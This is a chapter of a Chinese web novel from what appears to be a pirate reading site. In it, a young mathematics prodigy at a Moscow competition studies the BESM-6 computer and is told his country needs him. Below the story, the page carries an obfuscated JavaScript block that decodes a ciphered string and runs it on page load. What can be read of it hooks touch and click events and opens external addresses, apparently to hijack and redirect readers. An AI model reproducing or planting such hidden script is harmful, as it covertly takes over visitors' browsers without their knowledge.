首页
[切换至繁体版]
返回

第八十九章 所以我来了

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

在这个时代,一个天才的出现意味着什么。
    不只是数学本身。
    是希望。
    是证明。
    是告诉所有人:我们也可以。
    休息室的门被敲响。
    工作人员探进头来:「周教授,陆沉同学,下一轮赛程安排出来了,团体赛的题目明天早上公布,各国代表队已经开始准备了。」
    周教授点头:「知道了。」
    他转向陆沉:「走吧,今天好好休息。明天的团体赛,才是真正的硬仗。」
    陆沉站起身,走到门口时忽然停住。
    「周老师。」
    「嗯?」
    「图兰定理的证明,只是第一步。」陆沉说,「扩展形式解决了存在性问题,但构造性问题还没有完全打开,如果能找到Turán极图的显式构造算法,应用面会更广。」
    周教授愣住了。
    「你想————继续做?」
    「已经开始做了。」陆沉说,「大概需要两个月。」
    他想了想,又补充了一句:「如果计算机够用的话。」
    然后他推门出去,留下周教授一个人站在休息室里,半天没回过神来。
    两个月。
    解决图兰定理的构造性问题。
    那是埃尔德什在1977年提出丶悬赏500美元的问题。
    这孩子说的是————顺手。
    走廊里,陆沉边走边在脑中整理思路。
    图兰定理扩展形式的证明,确实只是第一步。他的真正目标,是构建一套完整的极值组合与拓扑方法之间的对偶框架。
    这套框架如果建成,影响的就不仅仅是图论。
    密码学丶编码理论丶算法设计—都会受到冲击。
    而这一切的前提是:
    他需要一台能用的计算机。
    长城286的性能,远远不够。
    他需要更强大的算力。
    或者—
    更聪明的算法。
    回到房间时,室友林枫正坐在床边看书。
    见他进来,林枫抬起头,眼神有些复杂。
    「你今天把苏联人镇住了。」他说,「我听队里其他人说的。」
    陆沉在床边坐下:「只是做了一道题。」
    「那不是一道题。」林枫放下书,「那是图兰定理。我在省队的时候就听说过,有人说这道题十年内没人能解。」
    他停顿了一下:「你解了。在莫斯科。当着全苏联数学界的面。」
    陆沉看着他:「你在担心什么?」
    林枫沉默了一会儿。
    「我在想。」他说,「我们真的是同一种生物吗?」
    陆沉没有笑。
    他认真地说:「是,我们共享99.9%的基因序列。」
    林枫愣了一瞬,然后忍不住笑了出来。
    「你他妈————」他摇头,「行吧,我收回刚才那句话,你还是个正常人。」
    他重新拿起书,翻到刚才那页。
    过了一会儿,又开口了。
    「陆沉。」
    「嗯?
    」
    「明天的团体赛,有一个模块是算法设计。」林枫说,「据说是苏联科学院计算中心出的题。会用他们那台BESM—6跑实测。」
    BESM—6。苏联1968年投入使用的电晶体计算机,每秒运算约80万次。在这个时代,已经算是不错的机器了。
    但在陆沉的认知里,这台机器的算力,还比不上前世的一台计算器。
    「有什么问题?」他问。
    「BESM—6的指令集和长城286不一样。」林枫说,「我们在国内练的都是长城机,临时换平台,很多人可能不适应。」
    陆沉点头。
    虽然自己是个列外,但这对队员来说确实是个问题。
    适应新的机器指令集需要时间。
    而团体赛的时间,通常不会太充裕。
    「你打算怎么办?」他问。
    林枫犹豫了一下。
    「我下午去计算中心熟悉一下环境。」他说,「你要不要一起?」
    陆沉想了想。
    「好。」
    莫斯科大学的计算中心在主楼东翼,穿过一条长长的走廊,经过两道岗哨,才能进入机房。
    带队老师办好手续后,陆沉和林枫被允许进入。
    机房很大,BESM—6的主机占据了大半个房间,磁带机嗡嗡作响,空调全力运转,依然能闻到一股淡淡的电子元件发热的气味。
    几个苏联学生正在一台终端前操作,看到他们进来,目光有些微妙。
    林枫走到一台空着的终端前坐下,开始查看指令手册。
    陆沉没有急着上手。
    他站在BESM—6的主机前,目光从控制面板上一一扫过。
    寄存器。运算器。内存单元。
    他的大脑开始构建这台机器的完整模型。
    BESM—6的体系结构属于堆栈型架构,指令集包含约50条基本指令,字长48位,内存寻址范围————
    他在脑海中逐条拆解指令集,分析每一条指令的时钟周期和微码执行流程。
    这个过程用了大约四十分钟。
    在这四十分钟里,他完成了对BESM—6指令集的完整逆向。
    不是通过阅读手册那只能知道表面的语法规则。
    他需要的是更深层的理解:指令流水线的冲突模式,Cache缺失的惩罚周期,乘除法指令的微码循环次数。
    这些信息,手册上不会写。
    但他可以通过对硬体结构的观察,结合指令执行的时序规律,反推出来。
    就像看到一只表的外壳,就能推算出内部齿轮的咬合关系。
    「陆沉。」林枫的声音传来,「你来看这个。」
    他走过去。
    林枫指着终端屏幕:「指令手册里说,乘除法运算需要调用子程序库,硬体没有直接支持。」
    陆沉看了一眼。
    BESM—6的早期型号确实没有硬体乘除法单元,需要通过软体模拟。
    「效率很低。」林枫说,「做数值计算的话,大量时间都耗在乘除法上了。」
    「有办法优化。」陆沉说。
    林枫转头看他。
    「乘除法的子程序库是开放的。」陆沉说,「可以改写。用移位和加法模拟乘法的时候,有更优的调度顺序。另外——
    」
    他指向屏幕上的另一段:「浮点运算也有空间。BESM—6的浮点格式是40位尾数加8位阶码,但它的规格化处理有冗余步骤。如果绕过标准库,直接操作寄存器,可以压缩大约30%的时钟周期。」
    林枫听得有些发愣。
    「你————」他问,「你怎么知道的?」
    陆沉没有回答这个问题。
    他只是说:「明天比赛前,我写一个优化版的数学库。」
    林枫沉默了很久。
    最后他说:「你知道吗,有时候我真的怀疑你不是这个世界的人。」
    陆沉的手指在键盘上停了一瞬。
    然后他说:「可能只是看得比较仔细。」
    那天晚上,中国队开了赛前准备会。
    领队周教授把团体赛的规则详细讲了一遍:总共四个模块,数学建模丶算法设计丶物理实验丶协同解题。每个模块限时,团队总分决定最终排名。
    「今年的算法设计模块,用的是苏联科学院计算中心的题库。」周教授说,「据说难度比往年高。大家做好心理准备。」
    队员们的表情都有些凝重。
    这届中国队,除了陆沉,其他都是按正常途径选拔上来的尖子生。放在国内,个个都是天之骄子。但到了国际赛场,面对苏联和东欧的传统强队,压力并不小。
    「别有包袱。」周教授说,「这次出来,主要目的是学习和交流。名次不是第一位的。」
    这话说得很体面。
    但在场的每一个人都知道,不是这样的。
    距离中国刚刚恢复高考才不过十年。
    科学的春天刚刚开始。
    每一枚奖牌,每一次突破,都会被放大成某种象徵。
    他们背负的,不只是自己的成绩。
    陆沉安静地坐在角落里。
    他在脑海中过了一遍明天的比赛流程。
    算法设计模块,限时四个小时。一台BESM—6,一个终端,一道题。
    他不知道题目会是什么。
    但他知道,无论题目是什么,最终比的都是效率。
    用最少的指令,最短的时钟周期,完成计算任务。
    这就是算法竞赛的本质。
    而他已经把BESM—6的每一个时钟周期都刻进了脑子里。
    散会后,周教授把他单独留下。
    「今天下午,苏联科学院那边又来了人。」周教授说,「想邀请你赛后在莫斯科多留几天,参加一个学术讨论会。」
    陆沉看着他。
    「我回绝了。」周教授说,「理由是需要向国内请示。」
    「不过。」周教授压低声音,「这件事我已经通过渠道报回国内了。怎么决定,要看上面的意思。」
    他顿了顿,又说:「孩子,你心里要有数————你现在做的事情,已经超出了学生竞赛的范畴。接下来会怎么样,我也说不准。
    但有一件事我可以告诉你。」
    「什么事?」
    周教授看着他,一字一顿:「国家需要你,非常需要。」
    陆沉没有说话。
    他看着窗外的莫斯科夜色,想起了很多事。
    前世的实验室。
    通宵改论文的夜晚。
    被拒稿的邮件。
    那些拼尽全力却差一步的时刻。
    然后他收回目光。
    「我知道。」他说,「所以我来了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();